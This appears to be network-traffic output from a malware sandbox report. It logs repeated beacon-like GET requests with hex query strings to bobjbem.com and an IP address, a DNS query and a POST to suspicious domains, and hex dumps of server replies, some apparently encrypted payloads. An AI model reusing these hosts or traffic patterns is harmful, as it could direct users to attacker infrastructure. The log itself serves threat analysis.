Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /index.php HTTP/1.1Host: 185.141.63.9Accept: /
Source: global traffic	HTTP traffic detected: GET /index.php HTTP/1.1Host: 185.141.63.9Accept: /
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: unknown

DNS traffic detected: queries for: selebration17io.io

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: resergvearyinitiani.shop

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 38 0d 0a 04 00 00 00 1f 3d 5a e4 0d 0a 30 0d 0a 0d 0a Data Ascii: 8=Z0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 cd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 c6 13 dc 19 df 8c ca 70 73 dc 31 bc af 4f ed 7f 40 93 d9 5e 6f 71 00 76 b9 3b 50 fd 96 bf eb bf 3a fc bb c9 27 97 8f c8 d4 60 66 b0 06 bd 89 72 e9 ac 67 f3 40 ee e5 a4 78 ee 09 b5 8f 36 03 cf 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 bd 40 70 b1 5b 23 5c 4a 8a f4 e9 5a 15 21 0b 5a a3 06 93 3a b6 3f c8 01 28 bf 48 15 d7 d9 53 53 fa 79 1a 9e 1d 09 52 2b 05 50 83 7b 7e 55 f7 ff 78 8d 54 db c4 0d 53 13 bf 0e e1 92 24 0a 4f c5 06 a1 ca a1 61 7e de f5 6c b9 18 17 7e 5f af 9a a5 b4 cf a0 c1 bd dd 7a e8 2b 48 19 e2 2c d5 2c 18 1a e5 96 be 35 51 61 9a d4 2e 7c 88 38 c8 48 6b a1 c0 4a 8a 03 fd ec 9e aa 7b ac 87 2f bd 61 81 cf 5c bf ca 34 fd f8 12 8c 35 6c c9 7d 0a 8d c7 fd e4 0e a4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae cc 95 03 4c 69 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cd 46 e1 4a 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 06 f0 27 38 03 9b c7 9b 4f 06 3d 66 f1 9a 64 b1 1d ee 12 51 8c 74 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 6e a1 54 35 8b fc d3 7a 1b a2 cb 29 37 08 e7 5b 1e 54 aa 1e 26 61 11 ee c3 2c 57 a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 6c 5e ae 43 75 81 7e 90 c7 7d 10 9f 30 1d dc b0 99 37 98 8a cd 70 7a 74 79 ae 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 6b a9 b4 7b 2f 08 64 5a b1 ae 46 1f 30 a0 aa 7a 8f 16 6d e3 cd d2 d9 37 00 12 e5 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 7f dc e5 3e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 02 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 ee 2f 3c 21 f7 b0 2a 48 5b e0 d1 84 87 73 0d 47 0b cb bf 66 75 4d e0 4e 98 7f 24 c5 b3 83 0b 87 a9 a4 c8 f1 54 ab 6f f0 f5 24 15 88 24 81 69 4a 79 96 80 cb 33 d2 05 9c 5b 33 52 69 a6 0a e3 f7 69 90 f9 12 bd 42 75 e1 1c 5d f8 ef 8d e1 21 64 95 c9 d9 05 67 96 60 fe 61 26 01 56 64 95 33 ee a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 5b 2b b0 d0 4e 3a 7e 45 f7 ff 78 8d 55 db 24 0d 11 32 b4 1f e7 93 24 a8 59 c5 03 01 cb a1 61 72 ce f5 49 ad 19 17 7e 4f af 9a a5 06 d2 a0 c1 b9 dd 6a 0d 80 4e 19 e0 3c 95 a9 1d 1a f5 96 be 25 51 61 9f d4 3e 7c 88 28 c8 48 6b e1 f0 4a 9a 13 fd ec 9e aa 7b ac 85 2f bd 61 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 c3 83 f5 1a 70 9b 4a d8 05 a9 d6 4f 07 79 82 ae 9c a7 2d 4c 85 55 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df b5 c3 e7 8a e5 4c 80 c0 fe e0 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 34 54 40 83 9b c7 9b 64 e5 3d 66 d9 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 20 15 a1 1b 6f d3 cb 29 32 88 f1 5b 1e 44 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f b3 1d 68 f1 b2 5b 62 90 58 3f ae 03 b5 b9 1c e4 a6 cd 06 9f 10 d9 da b0 99 b7 8f 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 97 b2 ec a2 94 4a a9 b4 bb 85 d9 15 28 d2 be 5c 1f d0 31 a8 7a 8f e6 71 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a 56 23 ba 85 17 3f dc e5 7e 98 c0 72 d4 03 2b b0 98 76 1e 0d ca 82 6f 39 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 83 b2 24 67 03 6c 5b 1d f8 b4 a3 ab 88 c1 f4 be 33 25 6d df a9 c3 f8 d7 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 4e 93 81 d9 6b eb de 8c f5 18 97 52 93 1f ea 9e 13 a8 9c 4c 45 01 f0 73 8d 63 fd ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 02 03 81 56 37 91 4d 41 ab b7 48 42 c9 62 d4 9e 73 2f 93 65 a2 35 15 78 60 38 15 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 90 e9 f3 f2 6c b0 4a 64 71 47 0b e9 e7 13 8d e3 51 10 9d 3d db 00 54 5a 17 0c 73 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 2e f1 fd 18 9d ae f0 49 73 f3 53 72 52 e7 33 b5 01 c2 cc 92 c2 01 6c 7e d3 a5 93 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 20 10 3a d1 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
